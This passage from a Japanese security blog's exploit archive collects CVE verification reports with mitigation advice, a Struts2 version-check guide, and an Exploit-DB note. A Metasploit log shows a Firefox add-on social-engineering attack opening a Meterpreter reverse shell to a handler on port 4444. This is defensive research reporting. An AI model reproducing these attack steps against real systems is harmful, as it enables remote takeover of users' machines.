1月 14

RealNetworks RealPlayerのRMPファイル処理の不備により、任意のコードが実行される脆弱性(CVE-2013-6877)に関する検証レポート

【概要】
RealNetworks RealPlayerに、任意のコードが実行される脆弱性(CVE-2013-6877)が発見されました。
この脆弱性は、RMPファイルのTRACKID要素の文字列処理に不備があることにより発生します。これにより、RealPlayerを実行しているユーザの権限で任意のコードの実行が可能となります。

攻撃者は、利用者にWebサイトやメールなどの手段で細工されたRMPファイルを開かせることにより、リモートから任意のコードを実行できる危険性があります。攻撃対象ユーザにファイルを開かせることで、ログオンしているユーザと同じ権限を奪取される危険性があります。

本レポート作成(2014年1月14日)時点において、RealNetworks 社から脆弱性に対応したバージョンがリリースされております。しかし、再現性が高いことから本レポートを公開いたしました。

【影響を受ける可能性があるシステム】
– Windows RealPlayer 17.0.4.61 以前のバージョン

【対策案】
RealNetworks社から本脆弱性を修正するプログラムはリリースされております。当該脆弱性が修正された修正プログラムを適用していただくことを推奨いたします。

【参考サイト】
CVE-2013-6877

RealNetworks, Inc.、セキュリティ脆弱性に対応するアップデートをリリース

【検証イメージ】
image

【検証ターゲットシステム】
WindowsXP Professional SP3上のRealPlayer  16.0.3.51

【検証概要】
脆弱性の存在するターゲットPCより、攻撃者が作成した細工されたRMPファイルを設置したサイトにアクセスすることで脆弱性を利用した攻撃を行い、任意のサーバの任意のポートにコネクトバックさせ、結果、シェルを奪取するというものです。

これにより、リモートからターゲットPCの操作が可能となります。

【検証結果】
下図は、攻撃後の誘導先のコンピュータ(Linux)の画面です。赤線で囲まれている部分は、誘導先のコンピュータのホスト情報です。一方、黄線で囲まれている部分は、ターゲットPC(Windows XP)において、コマンドを実行した結果が表示されています。これにより、ターゲットPCの制御を奪うことに成功しました。

exploit

reported by oda, ntsuji

Category: exploit | RealNetworks RealPlayerのRMPファイル処理の不備により、任意のコードが実行される脆弱性(CVE-2013-6877)に関する検証レポート はコメントを受け付けていません
1月 8

Exploit DatabaseがGithubにホストされたようです。

edb-github-blog
Exploit掲載サイトのExploit Database(EDB)はSVN,CVSを廃止してGithubにホストされるようになったようです。また、これに伴ってリポジトリの更新間隔を毎週から毎日に変更とのこと。
便利ですね。

以下はgitで取得してきたときのログです。

root@kali:/opt# git clone https://github.com/offensive-security/exploit-database
Cloning into ‘exploit-database’…
remote: Counting objects: 28645, done.
remote: Compressing objects: 100% (26550/26550), done.
remote: Total 28645 (delta 2051), reused 28624 (delta 2030)
Receiving objects: 100% (28645/28645), 32.73 MiB | 561 KiB/s, done.
Resolving deltas: 100% (2051/2051), done.
Checking out files: 100% (27619/27619), done.
root@kali:/opt# ls exploit-database/
README.md files.csv platforms
root@kali:/opt# ls exploit-database/platforms/
aix bsd_ppc freebsd_x86 irix linux multiple osx sco tru64 win64
arm bsd_x86 freebsd_x86-64 java linux_mips netbsd_x86 osx_ppc sco_x86 ultrix windows
asp bsdi_x86 generator jsp linux_ppc netware palm_os sh4 unix
atheos cfm hardware lin_amd64 linux_sparc novell php solaris unixware
beos cgi hp-ux lin_x86 minix openbsd plan9 solaris_sparc webapps
bsd freebsd immunix lin_x86-64 mips openbsd_x86 qnx solaris_x86 win32

root@kali:/opt# head exploit-database/files.csv
id,file,description,date,author,platform,type,port
1,platforms/windows/remote/1.c,”MS Windows WebDAV (ntdll.dll) Remote Exploit”,2003-03-23,kralor,windows,remote,80
2,platforms/windows/remote/2.c,”MS Windows WebDAV Remote PoC Exploit”,2003-03-24,RoMaNSoFt,windows,remote,80
3,platforms/linux/local/3.c,”Linux Kernel 2.2.x – 2.4.x ptrace/kmod Local Root Exploit”,2003-03-30,”Wojciech Purczynski”,linux,local,0
4,platforms/solaris/local/4.c,”Sun SUNWlldap Library Hostname Buffer Overflow Exploit”,2003-04-01,Andi,solaris,local,0
5,platforms/windows/remote/5.c,”MS Windows RPC Locator Service Remote Exploit”,2003-04-03,”Marcin Wolak”,windows,remote,139
6,platforms/php/webapps/6.php,”WordPress <= 2.0.2 (cache) Remote Shell Injection Exploit",2006-05-25,rgod,php,webapps,0 7,platforms/linux/remote/7.pl,"Samba 2.2.x Remote Root Buffer Overflow Exploit",2003-04-07,"H D Moore",linux,remote,139 8,platforms/linux/remote/8.c,"SETI@home Clients Buffer Overflow Exploit",2003-04-08,zillion,linux,remote,0 9,platforms/windows/dos/9.c,"Apache HTTP Server 2.x Memory Leak Exploit",2003-04-09,"Matthew Murphy",windows,dos,0

Category: exploit | Exploit DatabaseがGithubにホストされたようです。 はコメントを受け付けていません
12月 20

Windowsのndproxy.sysの脆弱性により、権限昇格が行える脆弱性(CVE-2013-5065)に関する検証レポート

【概要】
Microsoft WindowsXPまたは2003のndproxy.sysに、ローカルより権限昇格を行える脆弱性(CVE-2013-5065)が発見されました。この脆弱性は、ndproxy.sysドライバへの入力値に対する検証において、不備があることにより発生します。これにより、権限の低いユーザから権限昇格を行うことができ、その権限で任意のコードの実行が可能となります。

攻撃者がこの脆弱性を利用するためには、システムへの有効なログオン情報が必要になります。
攻撃者が何らかの方法でシステムの一般ユーザでのアクセス権を獲得した場合、この脆弱性を利用することで管理者権限も同時に掌握されます。その結果、管理者権限でシステムを操作し、重要情報の改ざん、窃取されてしまうといった危険性があります

本レポート作成(2013年12月20日)時点において、Microsoft社から脆弱性への対策、回避策などのアナウンスが公開されております。しかし、本脆弱性に対応した修正プログラムはリリースされておりません。この脆弱性はローカル環境で発現するものですが、攻撃を成立させるためのコードが容易に入手可能であり、かつ、すでに攻撃に利用されているとの報告もあるため、今回、この脆弱性の再現性について検証を行いました。

【影響を受ける可能性があるシステム】
– Windows XP Service Pack 3
– Windows XP Professional x64 Edition Service Pack 2
– Windows Server 2003 Service Pack 2
– Windows Server 2003 x64 Edition Service Pack 2
– Windows Server 2003 with SP2 for Itanium-based Systems

【対策案】
本レポート作成(2013年12月20日)時点において、Microsoft社から本脆弱性を修正するプログラムはリリースされておりません。
Microsoft社からndproxy.sysを無効化するという回避策が案内されております。

【参考サイト】
CVE-2013-5065

マイクロソフト セキュリティ アドバイザリ (2914486)
Microsoft Windows カーネルの脆弱性により、特権が昇格される

【検証イメージ】
P05_post

【検証ターゲットシステム】
WindowsXP Professional SP3
Windows Server 2003 R2 SP2

【検証概要】
MS13-080を利用して、一般ユーザ権限(Users権限)を奪取した後、本脆弱性(CVE-2013-5065)を利用し、SYSTEM権限へと昇格を行うというものです。

【検証結果】
下図は、攻撃後の誘導先のコンピュータ(Linux)のターミナルの画面です。赤線で囲まれている部分は、ターゲットPC(WindowsXP Professional SP3)にMS13-080を利用し、Users権限を奪取しています。ここでは、User1(Users権限)で接続が行われています。一方、黄線で囲まれている部分は、本脆弱性を利用後の状態です。ここでは、SYSTEM権限で接続が行われています。これにより、権限昇格を行うことに成功したと言えます。

P04_cve-2013-5065_cut3

WindowsXPは2014年4月9日に、Windows Server 2003は2015年7月14日にMicrosoft社のサポートが終了します。

サポート終了後はこのような脆弱性が発見されたとしてもマイクロソフト社による修正は行なわれないため非常に危険な状態となる場合があります。特別な理由がない限り、新しいOSへの移行を行なっていただく事を推奨いたします。

reported by y.izumita, ntsuji

Category: exploit | Windowsのndproxy.sysの脆弱性により、権限昇格が行える脆弱性(CVE-2013-5065)に関する検証レポート はコメントを受け付けていません
11月 29

ActiveXコントロールの処理の脆弱性により、任意のコードが実行される脆弱性(CVE-2013-3918)に関する検証レポート

【概要】
Microsoft ActiveXコントロールに、リモートより任意のコードが実行される脆弱性(CVE-2013-3918)が発見されました。
この脆弱性はActiveXコントロールのicardie.dllに存在しており、Internet Explorerが細工されたActiveXコントロールを読み込む際に、メモリの範囲外へアクセスすることにより発生します。これにより、Internet Explorerは不正なメモリアドレスを呼び出すよう強制されます。

攻撃者は、細工されたWebサイトを利用者に訪問させることにより、リモートからInternet Explorerを実行する利用者のユーザ権限で任意のコードを実行できる危険性があります。攻撃者は、ブラウザ経由で細工されたWebサイトにユーザを誘導することや、細工されたWebサイトへのリンクを添付した電子メールを送信し、攻撃対象ユーザにファイルを開かせることで、ログオンしているユーザと同じ権限を奪取される危険性があります。

現時点(2013年11月28日)において、検証に使用した攻撃コードは英語版のWindowsを対象としています。しかしながら今後、他の言語に対応した攻撃コードが出現する可能性は高いことから、脆弱性の再現性について検証を行いました。

【影響を受ける可能性があるシステム】
– Windows XP Service Pack 3
– Windows XP Professional x64 Edition Service Pack 2
– Windows Server 2003 Service Pack 2
– Windows Server 2003 x64 Edition Service Pack 2
– Windows Server 2003 with SP2 for Itanium-based Systems
– Windows Vista Service Pack 2
– Windows Vista x64 Edition Service Pack 2
– Windows Server 2008 for 32-bit Systems Service Pack 2
– Windows Server 2008 for x64-based Systems Service Pack 2
– Windows Server 2008 for Itanium-based Systems Service Pack 2
– Windows 7 for 32-bit Systems Service Pack 1
– Windows 7 for x64-based Systems Service Pack 1
– Windows Server 2008 R2 for x64-based Systems Service Pack 1
– Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
– Windows 8 for 32-bit Systems
– Windows 8 for x64-based Systems
– Windows 8.1 for 32-bit Systems
– Windows 8.1 for x64-based Systems
– Windows Server 2012
– Windows Server 2012 R2
– Windows RT
– Windows RT 8.1

【対策案】
Microsoft社より、この脆弱性を修正するプログラム(MS13-090)がリリースされています。
当該脆弱性が修正された修正プログラムを適用していただくことを推奨いたします。

【参考サイト】
CVE-2013-3918

マイクロソフト セキュリティ情報 MS13-090 – 緊急
ActiveX の Kill Bit の累積的なセキュリティ更新プログラム (2900986)

【検証イメージ】
P01_connectback

【検証ターゲットシステム】
Windows XP SP3 英語版

【検証概要】
脆弱性の存在するターゲットPCより、攻撃者が作成した細工された応答を返すサーバにアクセスすることで脆弱性を利用した攻撃を行い、任意のサーバの任意のポートにコネクトバックさせ、結果、シェルを奪取するというものです。
これにより、リモートからターゲットPCの操作が可能となります。

【検証結果】
下図は、攻撃後の誘導先のコンピュータ(MacOS X)の画面です。赤線で囲まれている部分は、誘導先のコンピュータのホスト情報です。一方、黄線で囲まれている部分は、ターゲットPC(Windows XP)において、コマンドを実行した結果が表示されています。
これにより、ターゲットPCの制御を奪うことに成功しました。

P02_MS13-090en_cut

reported by y.izumita, ntsuji

Category: exploit | ActiveXコントロールの処理の脆弱性により、任意のコードが実行される脆弱性(CVE-2013-3918)に関する検証レポート はコメントを受け付けていません
11月 1

CGI版のPHPの処理の脆弱性により任意のコードが実行される脆弱性(CVE-2012-1823)に関する検証レポート

【概要】
DebianやUbuntuのphp5-cgiパッケージに、リモートより任意のコードが実行される脆弱性(CVE-2012-1823)を利用可能な、新たな攻撃コードが発見されました。
この脆弱性(CVE-2012-1823)は、PHPをCGIモードで動作させている場合に影響を受け、攻撃対象からPHPのソースコードを漏洩させる、または任意のコードを実行することが可能になります。
DebianやUbuntuのPHPのソースコードsapi/cgi/cgi_main.cでは、php.iniに対してcgi.force_redirectがセットされる際に、cgi.redirect_status_envはデフォルトでnull値が設定されます。これにより、ApacheなどのWebサーバを利用している場合にPHPのセキュリティチェック機能が回避され、任意のコードが実行可能となります。

攻撃者は、CGIモードで動作しているPHPコンテンツに対して、リモートからソースコードを参照したり、またはWebサーバの動作権限で任意のコードの実行が可能です。(2013年11月7日修正)
攻撃者は、CGIモードで動作しているPHPコンテンツまたはphp-cgiに対して、リモートからソースコードを参照したり、またはWebサーバの動作権限で任意のコードの実行が可能です。

今回、この脆弱性の再現性について検証を行いました。

【影響を受ける可能性があるシステム】
– PHP 5.4.2 以下のバージョン
– PHP 5.3.12 以下のバージョン

【対策案】
この脆弱性が修正されたPHPバージョン5.4.2よりも新しいバージョンのPHP、または、5.3.12よりも新しいバージョンのPHPにアップデートしていただく事を推奨いたします。

【参考サイト】
CVE-2012-1823

【検証イメージ】
cve-2012-1823image

【検証ターゲットシステム】
Debian 5.0.9

【検証概要】
脆弱性の存在するターゲットPCより、攻撃者が作成した細工された応答を返すサーバにアクセスすることで脆弱性を利用した攻撃を行い、任意のサーバの任意のポートにコネクトバックさせ、結果、シェルを奪取するというものです。
これにより、リモートからターゲットPCの操作が可能となります。

【検証結果】
下図は、攻撃後の誘導先のコンピュータ(MacOS X)の画面です。黄線で囲まれている部分は、誘導先のコンピュータのホスト情報です。一方、赤線で囲まれている部分は、ターゲットPC(Debian)において、コマンドを実行した結果が表示されています。
これにより、ターゲットPCの制御を奪うことに成功しました。

cve-2012-1823cutline

special thx:
y.izumita

【2013年11月7日修正】
コメントをいただきましたので本文を訂正させていただきました。
ozuma5119さん、ご指摘ありがとうございます。

Category: exploit | CGI版のPHPの処理の脆弱性により任意のコードが実行される脆弱性(CVE-2012-1823)に関する検証レポート はコメントを受け付けていません
10月 1

Internet Explorerのmshtml.dll存在するuse-after-freeの脆弱性により、 任意のコードが実行される脆弱性(CVE-2013-3893)に関する検証レポート

【概要】
Microsoft Internet Explorerに、リモートより任意のコードが実行される脆弱性(CVE-2013-3893)が発見されました。この脆弱性は、日本の複数の組織を攻撃目標としていることから最近話題となっている問題です。
この脆弱性はmshtml.dllモジュールに存在しており、オブジェクトが解放される際に、オブジェクトへのポインタを削除しないために発生します。これにより、Internet Explorerは不正なメモリアドレスを呼び出すよう強制されます。

攻撃者は、細工されたWebサイトを利用者に訪問させることにより、リモートからInternet Explorerを実行する利用者のユーザ権限で任意のコードを実行できる危険性があります。攻撃者は、細工されたWebサイトにユーザを誘導することや、細工されたWebサイトへのリンクを添付した電子メールを送信し、攻撃対象ユーザにファイルを開かせることで、ログオンしているユーザと同じ権限を奪取される危険性があります。

現時点(2013年10月1日)において、Microsoft社から脆弱性への対策、回避策などのアナウンスが公開されております。しかし、脆弱性に対応した修正するプログラムはリリースされておりません。システムへの影響が大きいことから、脆弱性の再現性について検証を行いました。

【影響を受ける可能性があるシステム】
■Internet Explorer 6
– Windows XP Service Pack 3
– Windows XP Professional x64 Edition Service Pack 2
– Windows Server 2003 Service Pack 2
– Windows Server 2003 x64 Edition Service Pack 2
– Windows Server 2003 with SP2 for Itanium-based Systems

■Internet Explorer 7
– Windows XP Service Pack 3
– Windows XP Professional x64 Edition Service Pack 2
– Windows Server 2003 Service Pack 2
– Windows Server 2003 x64 Edition Service Pack 2
– Windows Server 2003 with SP2 for Itanium-based Systems
– Windows Vista Service Pack 2
– Windows Vista x64 Edition Service Pack 2
– Windows Server 2008 for 32-bit Systems Service Pack 2
– Windows Server 2008 for x64-based Systems Service Pack 2
– Windows Server 2008 for Itanium-based Systems Service Pack 2

■Internet Explorer 8
– Windows XP Service Pack 3
– Windows XP Professional x64 Edition Service Pack 2
– Windows Server 2003 Service Pack 2
– Windows Server 2003 x64 Edition Service Pack 2
– Windows Server 2003 with SP2 for Itanium-based Systems
– Windows Vista Service Pack 2
– Windows Vista x64 Edition Service Pack 2
– Windows Server 2008 for 32-bit Systems Service Pack 2
– Windows Server 2008 for x64-based Systems Service Pack 2
– Windows 7 for 32-bit Systems Service Pack 1
– Windows 7 for x64-based Systems Service Pack 1
– Windows Server 2008 R2 for x64-based Systems Service Pack 1
– Windows Server 2008 R2 for Itanium-based Systems Service Pack 1

■Internet Explorer 9
– Windows Vista Service Pack 2
– Windows Vista x64 Edition Service Pack 2
– Windows Server 2008 for 32-bit Systems Service Pack 2
– Windows Server 2008 for x64-based Systems Service Pack 2
– Windows 7 for 32-bit Systems Service Pack 1
– Windows 7 for x64-based Systems Service Pack 1
– Windows Server 2008 R2 for x64-based Systems Service Pack 1

■Internet Explorer 10
– Windows 7 for 32-bit Systems Service Pack 1
– Windows 7 for x64-based Systems Service Pack 1
– Windows Server 2008 R2 for x64-based Systems Service Pack 1
– Windows 8 for 32-bit Systems
– Windows 8 for 64-bit Systems
– Windows Server 2012
– Windows RT

■Internet Explorer 11
– Windows 8.1 for 32-bit Systems
– Windows 8.1 for 64-bit Systems
– Windows Server 2012 R2
– Windows RT 8.1

【対策案】
この脆弱性は、このエントリー作成現在、修正プログラムがリリースされいないため暫定の回避策を行うことになります。Microsoft社では、回避策としてFix it ソリューションマイクロソフト セキュリティ アドバイザリ: Internet Explorer の脆弱性により、リモートでコードが実行されるの適用、またはEMETの導入、またはInternet Explorerのセキュリティゾーンを「高」とする、を推奨しています。これらの詳細については、マイクロソフト セキュリティ アドバイザリ (2887505)の[推奨するアクション] [回避策]をご覧ください。

【参考サイト】
CVE-2013-3893

マイクロソフト セキュリティ アドバイザリ (2887505)
Internet Explorer の脆弱性により、リモートでコードが実行される

Internet Explorer の脆弱性対策について(CVE-2013-3893)

【検証イメージ】

attack_img

【検証ターゲットシステム】
Windows 7 SP1上のInternet Explorer 9、およびOffice 2007

【検証概要】
脆弱性の存在するターゲットPCより、攻撃者が作成した細工された応答を返すサーバにアクセスすることで脆弱性を利用した攻撃を行い、任意のサーバの任意のポートにコネクトバックさせ、結果、シェルを奪取するというものです。
これにより、リモートからターゲットPCの操作が可能となります。

【検証結果】
下図は、攻撃後の誘導先のコンピュータ(MacOS X)の画面です。黄線で囲まれている部分は、誘導先のコンピュータです。一方、赤線で囲まれている部分は、ターゲットPC(Windows 7)において、コマンドを実行した結果が表示されています。
これにより、ターゲットPCの制御を奪うことに成功しました。

cve-2013-3893cut

special thx:
y.izumita

Category: exploit | Internet Explorerのmshtml.dll存在するuse-after-freeの脆弱性により、 任意のコードが実行される脆弱性(CVE-2013-3893)に関する検証レポート はコメントを受け付けていません
9月 12

Apache Struts2のバージョン調査について

【背景】

日本国内でもApache Struts2(以下、Struts2)の脆弱性を利用した攻撃による被害が相次いでいます。
公表されているものでは「JINS」が有名ですね。(発表資料

少し前に、はやりだった(はやっている)ものは

S2-008CVE-2012-0391)(脆弱性検証レポート

S2-013CVE-2013-1966)(脆弱性検証レポート

S2-016CVE-2013-2251)(脆弱性検証レポート

あたりでしょうか。

推測の域を出ませんが、被害の大小問わず公表されていない被害も発生していると考えられます。
ボクはセキュリティの診断に長らく関わっています。その経験と観点から少しお話をしたいと思います。
(あくまでボクの経験ですので診断を提供している企業の中にはボクの定義が当てはまらないものがある可能性についてはご了承ください。)

セキュリティの診断には大きく分けて
「ネットワーク(プラットフォーム)診断(以下、NW診断)」と「Webアプリケーション診断」(以下、Web診断)があります。違いを凄く簡単に説明するとNW診断では主にOSやサーバアプリケーションの部分を、Web診断ではその上で動く、診断依頼者、つまり、「お客様の独自に作りこまれたアプリケーション」にセキュリティ上の問題点、脆弱性が存在しないかどうかを診断します。

「お客さんの独自に作りこまれたアプリケーション」と言っているのは、NW診断の範疇とWeb診断の範疇を可能な限り明確にするためです。ネットワーク機器やアプライアンス製品の多くはブラウザで設定、管理を行うことが可能です。この機能自体はWebアプリケーションであることには間違いはないのですが「お客様独自に作りこまれたアプリケーション」ではないため、NW診断の範疇となるわけです。

さて、問題のWebアプリケーションフレームワークである「Struts2」はどちらの検査の範疇となるのでしょうか。

cover

勘の良い方はもうお気づきかと思いますが。
フレームワーク自体は「お客様独自に作りこまれたアプリケーション」ではないためNW診断の範疇であるとボクは考えてます。しかし、診断を受ける側のお客様はWeb診断の範疇であると考えている方もいらっしゃると思います。このブログをお読みいただいている方にもいらっしゃるかもしれません。もちろん、どちらか一方の診断でしか診てはいけないというものではないため診断を行う際に診断業者とお客様の間で取り決めをしている場合もあるとは思います。
ボクが危惧していることは、WebアプリケーションフレームワークだからWeb診断で見てくれているだろうというお客様の思い込みと説明しなくても分かっているだろうという診断業者の思い込みがあってはいけないということです。
それに加えて、診断対象にネットワークを介して診断した場合はStruts2は非常に発見しずらいものだということです。どのWebアプリケーションからStruts2が使われているかということもですが、1つの診断対象内に複数のStruts2が共存している場合も大いにあります。
一言でいうと非効率であるということです。
もしかするとNW診断であったとしても発見できない場合もあれば、そもそも診ていないという場合もあるかもしれません。
診断を受けようとしている方はこの点を確認しておいたほうがいいでしょう。
場合によっては追加料金が発生する可能性があります。
(ボク個人としては、この程度のことで追加料金をもらうほどのことではないと考えていますが)

診てくれなかったり、予算がなかったり、足りなかったり
今すぐこれだけでも確認したいという場合に自身でチェックする方法について解説させていただきます。
(みなさんの環境と異なる点などあるかと思いますが、そこは適宜読み替えていただければと思います。)

【バージョン確認方法】

■Unix系の場合

findコマンドを利用してバージョン情報が含まれるjarファイルを検索

root@struts2:~# find / -name struts2-core*.jar
/opt/CVE-2013-2251/tomcat/webapps/struts2-showcase/WEB-INF/lib/struts2-core-2.3.15.1.jar
/opt/CVE-2013-2251/tomcat/webapps/struts2-blank/WEB-INF/lib/struts2-core-2.3.15.1.jar

ここで表示されるファイル名に含まれるバージョンがStruts2のバージョンとなります。
念の為、マニフェストファイル内に記述されているバージョンの調査方法も記載しておきます。

jarファイルを解凍するので作業用ディレクトリを作成し、コピーします。
そして、grepを利用して「Bundle-Version」の行を抽出して確認を行います。

root@struts2:~# mkdir /tmp/StrutsCheck
root@struts2:~# cp -p /opt/CVE-2013-2251/tomcat/webapps/struts2-blank/WEB-INF/lib/struts2-core-2.3.15.1.jar /tmp/StrutsCheck
root@struts2:~# cd /tmp/StrutsCheck
root@struts2:/tmp/StrutsCheck# unzip struts2-core-2.3.15.1.jar
Archive: struts2-core-2.3.15.1.jar
creating: META-INF/
inflating: META-INF/MANIFEST.MF
creating: org/
creating: org/apache/
~ 略 ~
creating: META-INF/maven/
creating: META-INF/maven/org.apache.struts/
creating: META-INF/maven/org.apache.struts/struts2-core/
inflating: META-INF/maven/org.apache.struts/struts2-core/pom.xml
inflating: META-INF/maven/org.apache.struts/struts2-core/pom.properties

root@struts2:/tmp/StrutsCheck# grep Bundle-Version META-INF/MANIFEST.MF
Bundle-Version: 2.3.15.1

root@struts2:/tmp/StrutsCheck# cd
root@struts2:~# rm -fr /tmp/StrutsCheck

■Windows系

dirコマンドを利用してバージョン情報が含まれるjarファイルを検索します。

C:\>dir /S /B struts2-core*.jar
C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\struts2-blank\WEB-INF\lib\struts2-core-2.3.15.1.jar

ここで表示されるファイル名に含まれるバージョンがStruts2のバージョンとなります。

念の為、マニフェストファイル内に記述されているバージョンの調査方法も記載しておきます。
jarファイルを解凍するので作業用ディレクトリを作成し、コピーします。

C:\>md C:\Temp\StrutsCheck
C:\>copy “C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\struts2-blank\WEB-INF\lib\struts2-core-2.3.15.1.jar” C:\Temp\StrutsCheck
1 個のファイルをコピーしました。

C:\>cd C:\Temp\StrutsCheck

C:\Temp\StrutsCheck>dir
ドライブ C のボリューム ラベルがありません。
ボリューム シリアル番号は xxx-xxxx です

C:\Temp\StrutsCheck のディレクトリ

2013/09/12 10:50 <DIR> .
2013/09/12 10:50 >DIR> ..
2013/07/14 21:02 802,044 struts2-core-2.3.15.1.jar
1 個のファイル 802,044 バイト
2 個のディレクトリ 17,165,873,152 バイトの空き領域

そして、コピーしたjarファイルを解凍ソフトを使用し解凍します。
extract

解凍してできたファイルの中のマニフェストファイル内に記述されているバージョンの調査方法は下記の通りです。

C:\Temp\StrutsCheck>dir
ドライブ C のボリューム ラベルがありません。
ボリューム シリアル番号は xxx-xxxx です

C:\Temp\StrutsCheck のディレクトリ

2013/09/12 10:51 <DIR> .
2013/09/12 10:51 <DIR> ..
2013/07/14 21:01 2,653 FREEMARKER-LICENSE.txt
2013/07/14 21:01 10,141 LICENSE.txt
2013/09/12 10:51 <DIR> META-INF
2013/07/14 21:01 418 NOTICE.txt
2013/07/14 21:01 2,563 OGNL-LICENSE.txt
2013/07/14 21:01 <DIR> org
2013/07/14 21:01 1,060 overview.html
2013/07/14 21:01 3,446 struts-2.0.dtd
2013/07/14 21:01 3,816 struts-2.1.7.dtd
2013/07/14 21:01 3,765 struts-2.1.dtd
2013/07/14 21:01 3,764 struts-2.3.dtd
2013/07/14 21:01 23,810 struts-default.xml
2013/07/14 21:01 1,239 struts.vm
2013/07/14 21:02 802,044 struts2-core-2.3.15.1.jar
2013/07/14 21:01 <DIR> template
2013/07/14 21:01 2,567 XWORK-LICENSE.txt
13 個のファイル 861,286 バイト
5 個のディレクトリ 17,162,178,560 バイトの空き領域

C:\Temp\StrutsCheck>findstr Bundle-Version META-INF\MANIFEST.MF
Bundle-Version: 2.3.15.1

C:\Temp\StrutsCheck>cd \

C:\>rd /S /Q C:\Temp\StrutsCheck

これでバージョンが判明しましたのでセキュリティ情報系のサイトやStruts2のサイトなどで脆弱性の影響を受けるバージョンかどうかをチェックすることができます。

【さいごに】

Struts2は潜在的に脆弱性が存在するという点においてまだまだ枯れていない印象があります。必ずしもこれから発見されないとは言い切れませんがApacheやsendmailなどなど過去にインパクトの大きな脆弱性が発見されてきて現在ではクリティカルなものはそれほど見つかっていません。
そのあたりの脆弱性が発見されないこともあってか攻撃の対象が移り変わってきたのかもしれません。
これはボクの推測でしかありませんが、攻撃者は普段から情報の収集を行っているのだと思います。どこでどのようなアプリケーションが使われているか。どのポートがオープンしているかといった調査を日常的に行い、来る脆弱性(その攻撃方法)が判明する日、つまり攻撃を行う日に備えてリスト化しているのではないかと考えています。
(例えばStruts2で言えば、Googleで「filetype:action」で検索しておけばStruts2を使っているインターネットに公開されているページをすべてではないにしても知ることができます。)
脆弱性(攻撃方法)が公表されてから実際の攻撃が行われるまでの時間が短くなっているきているのも頷けるのではないでしょうか。

しっかりと脆弱性情報を追いかけ、その対処を行うサイクルを回している組織でも脆弱性(攻撃方法)が公表されてから1日や2日で攻撃が来てしまうことを考えると侵入されることを完全に防ぐことはほぼ不可能な場合も起こり得るということになると思います。かなり前から言われていることではありますが、1つ目の砦を突破されてもその後の仕組みで早期発見、対処できる仕組みの大切さに気付き、アクションを起こすことの重要性を改めて感じますね。

Category: exploit, memo | Apache Struts2のバージョン調査について はコメントを受け付けていません
4月 13

Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution

Bootstrapped extensionsに見せかけて不正なバイナリを実行させるMetaploitモジュールがリリースされていたので手元で動かしてみましたよ。Metasploitでexploit実行するとWebサービスが起動して、そこにアクセスしてきたものを攻撃するタイプのものです。

ということで環境を整えてでブラウザでアクセスしてみる。

ここで「許可」すると「インストール」の確認画面となります。

ここで「今すぐインストール」をクリックすると地獄行きとなるわけですね。

アクセスからインストールをクリック、そしてシェルを奪取するまでのMetasploit側のログはこちら。

msf exploit(firefox_xpi_bootstrapped_addon) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.100.0.131:4444
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://10.100.0.118:8080/
[*] Server started.
msf exploit(firefox_xpi_bootstrapped_addon) > [*] 10.100.0.180 firefox_xpi_bootstrapped_addon Handling request…
[*] 10.100.0.180 firefox_xpi_bootstrapped_addon Sending xpi and waiting for user to click ‘accept’…
[*] 10.100.0.180 firefox_xpi_bootstrapped_addon Sending xpi and waiting for user to click ‘accept’…
[*] Sending stage (752128 bytes) to 10.100.0.180
[*] Meterpreter session 1 opened (10.100.0.131:4444 -> 10.100.0.180:1291) at Fri Apr 13 11:26:29 +0900 2012

msf exploit(firefox_xpi_bootstrapped_addon) > sessions -l

Active sessions
===============

Id Type Information Connection
— —- ———– ———-
1 meterpreter x86/win32 ROOT-6952EB254C\Administrator @ ROOT-6952EB254C 10.100.0.131:4444 -> 10.100.0.180:1291 (10.100.0.180)

msf exploit(firefox_xpi_bootstrapped_addon) > sessions -i 1
[*] Starting interaction with 1…

meterpreter > shell
Process 2456 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Mozilla Firefox>

それらしいサイトにID/PASSを入力させるよりも攻撃の成功率が低い気もしなくもないですが、アクセスページをそれらしいものにすればうまくいくかもですね。次のバージョンアップとかでSETの機能に組み込まれそうな予感。

Category: exploit | Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution はコメントを受け付けていません
6月 15

Windowsのヘルプとサポートセンターの脆弱性(CVE-2010-1885)デモ

某所で公開している検証レポートでは、色々と制限もあるので
あくまで「個人的」に、デモを作成しました。
よって、このエントリは、私の所属する組織を代表するものではありません。

このエントリ作成現在、MSから、修正プログラムがリリースされておらず、
回避策のみの提示となっているので、その回避策実施後の
有効性チェックを行うなどに活用いただければと考えています。
回避策やその影響については下記のサイトを参照ください。
Windows のヘルプとサポート センターの脆弱性により、リモートでコードが実行される

デモの内容は以下のような流れです。

1. ブラウザでアクセス
2. 「ヘルプとサポートセンター」(helpctr.exe)が起動される。
3. 「コマンドプロンプト」(cmd.exe)が起動される。 ← 一瞬で消えます。
4. デスクトップにtwitterアドレスが書かれたテキスト「ntsuji.txt」が作成される
(echoコマンドを実行してテキストを作成しています。)

2010年6月17日追記:
4. のテキストの作成場所は、unDonutなどのIEコンポーネントを利用しているブラウザでは
デスクトップではなく、実行ファイルのCurDirに保存されるようです。
willowletさん 情報ありがとうございます。

以上の内容以外のことは実行していませんが
(ということ自体、信用していただくしかありませんが…)
本デモによって生じたいかなる損害にも責任は負いかねます。

細かいチェックはしていませんが、会社からのアクセスなどでは
アンチウイルスやIDSなどによる検知が行われる可能性があるため
自身の管理下にあるリソースでお試しください。

ご了承いただける方のみ下記リンクよりデモを体験してください。

2010年6月18日追記:
くどいようですが、デモをクリックするとアンチウイルスから警告が出る場合があります。
例えば、MSEでは「Exploit:Win32/CVE-2010-1885.A」と検出されます。

デモはこちら

ちなみにIE6でデモにアクセスした場合には以下のように
ヘルプとサポートセンターが起動し、その後は実行されませんでした。

Category: exploit | Windowsのヘルプとサポートセンターの脆弱性(CVE-2010-1885)デモ はコメントを受け付けていません
1月 18

IEのポインタ参照処理の脆弱性(CVE-2010-0249)検証メモ

Googleが攻撃されて、それを逆ハックなんて触れ込みで注目されている(?)
IEのポインタ参照処理の脆弱性(CVE-2010-0249)について検証してみました。

検証では、脆弱性の存在するターゲットPC(Windows XP SP2 & IE 6)で
